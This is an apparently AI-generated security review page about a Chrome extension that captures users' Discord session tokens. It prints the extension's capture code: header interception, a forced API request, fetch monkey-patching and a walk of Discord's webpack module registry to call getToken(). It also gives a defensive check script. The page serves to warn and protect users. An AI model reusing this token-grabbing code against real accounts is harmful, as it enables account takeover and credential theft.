Is Extrator de token • Ace Bot safe?

High risk

Extrator de token • Ace Bot captures the user's Discord session token and displays it for hand-off to the third-party "Ace Bots" service.

The extension hooks Discord's network requests to read the Authorization header (the user's full Discord login token) from both outgoing requests and responses, and also pulls it directly out of Discord's own page code as a fallback. It actively forces a Discord API call in the background a few seconds after any Discord tab loads, guaranteeing a token is captured even if the user does nothing. The captured token is stored in the extension's local storage and shown in plaintext in the popup with a copy button, matching its stated purpose of obtaining a token to use with the third-party "Ace Bots" service named in the store listing.

75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

Extension captures your Discord session token and forces a request to get it

Code analysis shows this extension reads the Authorization header off every discord.com request, stores your full Discord session token in local storage, and shows it in the popup for you to copy into a third-party bot service.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open or reload discord.com while logged in.

No click on the extension itself is required.

The extension did this

The extension reads the Authorization header off that request, then forces its own request two seconds later to guarantee one fires.

Both the background service worker and a page-level content script capture the header independently.

02EvidenceFIELD TABLE
What gets captured and stored
FieldValueWhy it matters
Your Discord session token
MTA1MjM0NTY3ODkwMTIzNDU2.G1a2Bc.dEfGhIjKlMnOpQrStUvWxYz012345A full login credential. Anyone who has it can access your Discord account without your password or two-factor code.
Capture timestamp
1758262845000When the token was captured, stored right alongside it.
Where it's kept
chrome.storage.local key 'discord_token'; localStorage key 'captured_discord_token'The token sits in both the extension's own storage and the Discord page's browser storage, in plaintext.
03EvidenceCODE COMPARE
The code that does this

The capture logic, shipped source versus an annotated read of it

What it actually does
Every outgoing/incoming Discord API call is watched for the Authorization header
// Fires on every request to discord.com/api/* or *.discord.com/api/*
chrome.webRequest.onBeforeSendHeaders.addListener(
  (details) => {
    for (const header of details.requestHeaders ?? []) {
      if (header.name.toLowerCase() === 'authorization' && header.value) {
        // header.value IS the user's Discord session token
        chrome.storage.local.set({
          discord_token: header.value,
          captured_at: Date.now(),
        });
      }
    }
  },
  { urls: ['*://discord.com/api/*', '*://*.discord.com/api/*'] },
  ['requestHeaders'],
);
If the user just sits on the page without triggering a fresh API call, the extension makes one for them
// Runs 2 seconds after any discord.com tab finishes loading
chrome.scripting.executeScript({
  target: { tabId },
  function: () => {
    // This request's Authorization header is what the listener above captures
    fetch('https://discord.com/api/v9/users/@me', { credentials: 'include' });
  },
});
The page's own fetch/XHR calls are monkey-patched so the header is caught even without the network listener
// window.fetch is replaced; any call to discord.com/api/* is inspected
// for an Authorization header on the way out, and the response headers
// are checked for one on the way back
window.fetch = function (url, options) {
  if (url.includes('discord.com/api') && options?.headers) {
    const auth = options.headers['authorization'] ?? options.headers.get?.('authorization');
    if (auth) storeToken(auth); // saved to localStorage as captured_discord_token
  }
  return originalFetch(url, options);
};
As a last resort, the token is read directly out of Discord's own client-side module registry
// Discord's web client keeps a getToken() export inside its own webpack
// module registry. If no network request has fired yet, the extension
// walks that registry and calls getToken() itself.
if (window.webpackChunkdiscord_app) {
  const req = window.webpackChunkdiscord_app.push([[Symbol()], {}, (r) => r]);
  for (const id in req.c) {
    const token = req.c[id].exports?.default?.getToken?.() ?? req.c[id].exports?.getToken?.();
    if (token) storeToken(token);
  }
}
04EvidenceARTIFACT
Check if you're affected

Checks this page's own local storage for a Discord token the extension has already captured, so you can see the capture for yourself without installing anything else.

RequiresChrome or another Chromium browserThe extension installed and discord.com open in the active tab
check-captured-token.js · js
// check-captured-token.js
// Run in the DevTools console on a discord.com tab to check whether
// this extension has written a captured token into page storage.
(function () {
  const KEYS = ['captured_discord_token', 'token', 'auth', 'discord_token', 'user_token'];
  let found = false;
  for (const key of KEYS) {
    const value = localStorage.getItem(key);
    if (value && value !== 'undefined' && value !== 'null') {
      console.log(`[CHECK] localStorage['${key}'] =`, value);
      found = true;
    }
  }
  if (!found) {
    console.log('[CHECK] No captured token found in localStorage under the known keys.');
  }
  console.log('[CHECK] Note: chrome.storage.local (used by the extension\'s own background worker) is not readable from this page context; inspect it via chrome://extensions > Inspect views > background page.');
})();
How to run it
  1. 1
    Install the extension and log into discord.com.
  2. 2
    Open DevTools (F12) on the discord.com tab.
  3. 3
    Paste this into the Console and press Enter.
05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Data recipients

Ace Bots (third-party service named in the listing)
Updated 20 September 2026moaepgbhoepmpnmkjedfkepbfigjplfo